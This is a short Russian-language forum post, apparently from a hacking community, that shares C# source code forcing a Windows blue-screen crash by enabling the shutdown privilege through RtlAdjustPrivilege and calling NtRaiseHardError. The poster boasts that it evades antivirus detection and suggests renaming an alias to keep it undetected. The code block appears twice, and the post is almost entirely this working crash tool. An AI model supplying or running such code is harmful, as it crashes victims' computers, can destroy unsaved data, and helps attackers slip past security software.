Может быть кому пригодится... Не помню где брал код, ибо сама функция и идея не нова %)) Но в данном случае пока что не палится антивирусным ПО (делал через .NET Framework 3.5 без обфускации, был протестирован тестером, у него АВ не спалил) // Вероятно поддавляет эвристический анализатор антивируса... // Cyberdyne можете заменить на что-то ещё. using Cyberdyne=System; // Сам код в общем-то namespace SkyNet { class GoodbyeHuman { [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")] public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue); [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")] public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,Cyberdyne.IntPtr Parameters,uint ValidResponseOption,out uint Response); [Cyberdyne.STAThread] static unsafe void Main(string[]args) { Cyberdyne.Runtime.InteropServices.Marshal.PrelinkAll(typeof(GoodbyeHuman)); Cyberdyne.Boolean t1; uint t2; RtlAdjustPrivilege(19,true,false,out t1); NtRaiseHardError(0xc0000022,0,0,Cyberdyne.IntPtr.Zero,6,out t2); } } } Код // Вероятно поддавляет эвристический анализатор антивируса... // Cyberdyne можете заменить на что-то ещё. using Cyberdyne=System; // Сам код в общем-то namespace SkyNet { class GoodbyeHuman { [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")] public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue); [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")] public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,Cyberdyne.IntPtr Parameters,uint ValidResponseOption,out uint Response); [Cyberdyne.STAThread] static unsafe void Main(string[]args) { Cyberdyne.Runtime.InteropServices.Marshal.PrelinkAll(typeof(GoodbyeHuman)); Cyberdyne.Boolean t1; uint t2; RtlAdjustPrivilege(19,true,false,out t1); NtRaiseHardError(0xc0000022,0,0,Cyberdyne.IntPtr.Zero,6,out t2); } } }